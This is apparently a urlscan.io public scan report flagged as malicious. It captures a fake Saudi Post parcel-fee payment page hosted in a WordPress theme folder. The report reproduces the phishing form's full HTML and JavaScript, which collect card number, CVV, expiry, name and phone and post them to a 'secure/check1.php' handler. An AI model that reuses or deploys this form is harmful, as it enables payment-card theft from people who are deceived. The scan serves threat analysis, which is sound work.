cursist01.nr30.nl
Open in
urlscan Pro
86.89.240.114
Malicious Activity!
Public Scan
Submitted URL: http://bit.ly/3v9yGnJ
Effective URL: https://cursist01.nr30.nl/wp-content/themes/su/payment.php
Submission: On April 12 via manual from CH — Scanned from DE
Effective URL: https://cursist01.nr30.nl/wp-content/themes/su/payment.php
Submission: On April 12 via manual from CH — Scanned from DE
Form analysis
1 forms found in the DOMPOST ./secure/check1.php
<form action="./secure/check1.php" class="form-fields" role="form" id="form_pay" method="post" accept-charset="utf-8" _lpchecked="1">
<input type="hidden" name="exchange_rate" value="0.2736">
<div class="payment-wrap">
<div>
<label class="payment_method">
<input required="" type="radio" id="creditcard" name="payment_type" value="visa">
<img src="./files/58482363cef1014c0b5e49c1.png" width="65" alt="Credit Card">
</label>
<label class="payment_method">
<input required="" type="radio" id="creditcard" name="payment_type" value="mastercard">
<img src="./files/58482354cef1014c0b5e49c0.png" width="55" alt="Credit Card">
</label>
</div>
<!--Sadad Enable-->
<script type="text/javascript">
var $cc = {}
$cc.validate = function(e) {
//if the input is empty reset the indicators to their default classes
if (e.target.value == '') {
e.target.previousElementSibling.className = 'card-type';
e.target.nextElementSibling.className = 'card-valid';
return
}
//Retrieve the value of the input and remove all non-number characters
var number = String(e.target.value);
var cleanNumber = '';
for (var i = 0; i < number.length; i++) {
if (/^[0-9]+$/.test(number.charAt(i))) {
cleanNumber += number.charAt(i);
}
}
//Only parse and correct the input value if the key pressed isn't backspace.
if (e.key != 'Backspace') {
//Format the value to include spaces in the correct locations
var formatNumber = '';
for (var i = 0; i < cleanNumber.length; i++) {
if (i == 3 || i == 7 || i == 11) {
formatNumber = formatNumber + cleanNumber.charAt(i) + ' '
} else {
formatNumber += cleanNumber.charAt(i)
}
}
e.target.value = formatNumber;
}
//run the Luhn algorithm on the number if it is at least equal to the shortest card length
if (cleanNumber.length >= 12) {
var isLuhn = luhn(cleanNumber);
}
function luhn(number) {
var numberArray = number.split('').reverse();
for (var i = 0; i < numberArray.length; i++) {
if (i % 2 != 0) {
numberArray[i] = numberArray[i] * 2;
if (numberArray[i] > 9) {
numberArray[i] = parseInt(String(numberArray[i]).charAt(0)) + parseInt(String(numberArray[i]).charAt(1))
}
}
}
var sum = 0;
for (var i = 1; i < numberArray.length; i++) {
sum += parseInt(numberArray[i]);
}
sum = sum * 9 % 10;
if (numberArray[0] == sum) {
return true
} else {
return false
}
}
//if the number passes the Luhn algorithm add the class 'active'
if (isLuhn == true) {
e.target.nextElementSibling.className = 'card-valid active'
} else {
e.target.nextElementSibling.className = 'card-valid'
}
var card_types = [{
name: 'maestro',
pattern: /^(5018|5020|5038|6304|6759|676[1-3])/,
valid_length: [12, 13, 14, 15, 16, 17, 18, 19]
}];
//test the number against each of the above card types and regular expressions
for (var i = 0; i < card_types.length; i++) {
if (number.match(card_types[i].pattern)) {
//if a match is found add the card type as a class
e.target.previousElementSibling.className = 'card-type ' + card_types[i].name;
}
}
}
$cc.expiry = function(e) {
if (e.key != 'Backspace') {
var number = String(this.value);
//remove all non-number character from the value
var cleanNumber = '';
for (var i = 0; i < number.length; i++) {
if (i == 1 && number.charAt(i) == '/') {
cleanNumber = 0 + number.charAt(0);
}
if (/^[0-9]+$/.test(number.charAt(i))) {
cleanNumber += number.charAt(i);
}
}
var formattedMonth = ''
for (var i = 0; i < cleanNumber.length; i++) {
if (/^[0-9]+$/.test(cleanNumber.charAt(i))) {
//if the number is greater than 1 append a zero to force a 2 digit month
if (i == 0 && cleanNumber.charAt(i) > 1) {
formattedMonth += 0;
formattedMonth += cleanNumber.charAt(i);
formattedMonth += '/';
}
//add a '/' after the second number
else if (i == 1) {
formattedMonth += cleanNumber.charAt(i);
formattedMonth += '/';
}
//force a 4 digit year
else if (i == 2 && cleanNumber.charAt(i) < 2) {
formattedMonth += '20' + cleanNumber.charAt(i);
} else {
formattedMonth += cleanNumber.charAt(i);
}
}
}
this.value = formattedMonth;
}
}
</script>
<!-- End Sadad Enable Note-->
</div>
<div class="col-md-12 col-sm-12 form-wrap" style="margin-top:0; border-radius:0 0 5px 5px;">
<div class="justified-wrap">
<div class="col-md-12 col-sm-12 no-space">
<div>
<label>Package № :</label>
<label type="text" class=" label-amount">NV 6588121</label>
</div>
<label>Amount :</label>
<label type="text" class="required label-amount">5.75 SAR</label>
<label>Phone Number :</label><br>
<div class="iti iti--allow-dropdown">
<div class="iti__flag-container">
<div class="iti__selected-flag" role="combobox" aria-controls="iti-0__country-listbox" aria-owns="iti-0__country-listbox" aria-expanded="false" tabindex="0" title="Saudi Arabia (المملكة العربية السعودية): +966"
aria-activedescendant="iti-0__item-sa">
<div class="iti__flag iti__sa"></div>
<div class="iti__arrow"></div>
</div>
<ul class="iti__country-list iti__hide" id="iti-0__country-listbox" role="listbox" aria-label="List of countries">
<li class="iti__country iti__standard iti__active" tabindex="-1" id="iti-0__item-sa" role="option" data-dial-code="966" data-country-code="sa" aria-selected="true">
<div class="iti__flag-box">
<div class="iti__flag iti__sa"></div>
</div><span class="iti__country-name">Saudi Arabia (المملكة العربية السعودية)</span><span class="iti__dial-code">+966</span>
</li>
<li class="iti__country iti__standard" tabindex="-1" id="iti-0__item-ae" role="option" data-dial-code="971" data-country-code="ae" aria-selected="false">
<div class="iti__flag-box">
<div class="iti__flag iti__ae"></div>
</div><span class="iti__country-name">United Arab Emirates (الإمارات العربية المتحدة)</span><span class="iti__dial-code">+971</span>
</li>
</ul>
</div><input id="phone" required="" name="phone" type="tel" autocomplete="off" data-intl-tel-input-id="0" placeholder="051 234 5678">
</div>
<br>
<span id="valid-msg" class="hide">✓ Valid</span>
<span id="error-msg" class="hide"></span>
</div>
</div>
<script src="build/js/intlTelInput.js"></script>
<script>
// Validation
var input = document.querySelector("#phone"),
errorMsg = document.querySelector("#error-msg"),
validMsg = document.querySelector("#valid-msg");
// here, the index maps to the error code returned from getValidationError - see readme
var errorMap = ["Error: Invalid number", "Error: Invalid country code", "Error: Too short", "Error: Too long", "Error: Invalid number"];
var iti = window.intlTelInput(input, {
onlyCountries: ['sa', 'ae'],
utilsScript: "build/js/utils.js",
});
var reset = function() {
input.classList.remove("error");
errorMsg.innerHTML = "";
errorMsg.classList.add("hide");
validMsg.classList.add("hide");
};
// on blur: validate
input.addEventListener('blur', function() {
reset();
if (input.value.trim()) {
if (iti.isValidNumber()) {
validMsg.classList.remove("hide");
validMsg.classList.add("category-span");
} else {
input.classList.add("error");
var errorCode = iti.getValidationError();
errorMsg.innerHTML = errorMap[errorCode];
errorMsg.classList.remove("hide");
errorMsg.classList.add("category-span");
}
}
});
// on keyup / change flag: reset
input.addEventListener('change', reset);
input.addEventListener('keyup', reset);
</script>
</div>
<div class="clearfix"></div>
<div class="alert alert-danger display-hide" style="display:none;">
<button data-dismiss="alert" class="close" type="button">×</button>
<strong> Error!</strong> All fields are required.
</div>
<div class="clearfix"></div>
<!--
</div>-->
<div class="col-md-12 col-sm-12 card-details">
<div class="form-wrap creditcard-hide">
<input type="text" class="required form-control" placeholder="Full Name" required="" name="jeanname" autocomplete="off">
<input onkeyup="$cc.validate(event)" required="" type="text" class="required form-control" placeholder="Card Number" name="jeancc" autocomplete="off" maxlength="19">
<div>
<div class="col-md-4 col-sm-4 no-space">
<input required="" type="text" autocomplete="off" class="required form-control" placeholder="CVV" name="jeancvc" maxlength="4" style="
margin-right: 2px;
width: 110px;
">
</div>
<div class="col-md-5 col-sm-5 no-space">
<select required="" class="required form-control" name="jeanm" style="margin-top:6px;width: 140px;">
<option value="">Expiry Month</option>
<option value="01">January</option>
<option value="02">February</option>
<option value="03">March</option>
<option value="04">April</option>
<option value="05">May</option>
<option value="06">June</option>
<option value="07">July</option>
<option value="08">August</option>
<option value="09">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
</div>
<div class="col-md-3 col-sm-3 no-space">
<select required="" class="right required form-control" id="expiry_year" name="jeany" style="margin-top:6px;">
<option value="">Year</option>
<option value="22">2022</option>
<option value="23">2023</option>
<option value="24">2024</option>
<option value="25">2025</option>
<option value="26">2026</option>
<option value="27">2027</option>
<option value="28">2028</option>
<option value="29">2029</option>
<option value="30">2030</option>
<option value="31">2031</option>
<option value="32">2032</option>
</select>
<!--<input name="expDate" type="text" class=" form-control last textbox-wrap required" placeholder="Expiration Date MM/YY" maxlength="5" id="expiry" autocomplete="off" >-->
</div>
<div class="clearfix"></div>
</div>
</div>
<input type="submit" class="btn btn-lg btn-block btn-success" style="border: none;margin-top:15px;background-color: #4fad4d;
color: #fff; " value="Pay Now">
<div class="text-nav" style=" text-align:center; margin-top:15px;"><a href="">Cancel</a></div>
<img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:85px" src="./files/cards.png">
<img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:45px" src="./files/cards1.png">
<img class="card-brands-supported" alt="credit cards" style="margin-top:15px; width:45px" src="./files/trust-removebg-preview.png">
<div style="display: none;" id="hidden_fields">
<input type="hidden" value="" name="amount" id="amount">
<input type="hidden" name="paypage_id" value="10031622">
</div>
<input type="hidden" name="gointerpay_finger_print_id" id="gointerpay_finger_print_id" value="">
</div>
</form>
Text Content
PLEASE WAIT ... عربي SAUDI POST Package № : NV 6588121 Amount : 5.75 SAR Phone Number : * Saudi Arabia (المملكة العربية السعودية)+966 * United Arab Emirates (الإمارات العربية المتحدة)+971 ✓ Valid × Error! All fields are required. Expiry Month January February March April May June July August September October November December Year 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 Cancel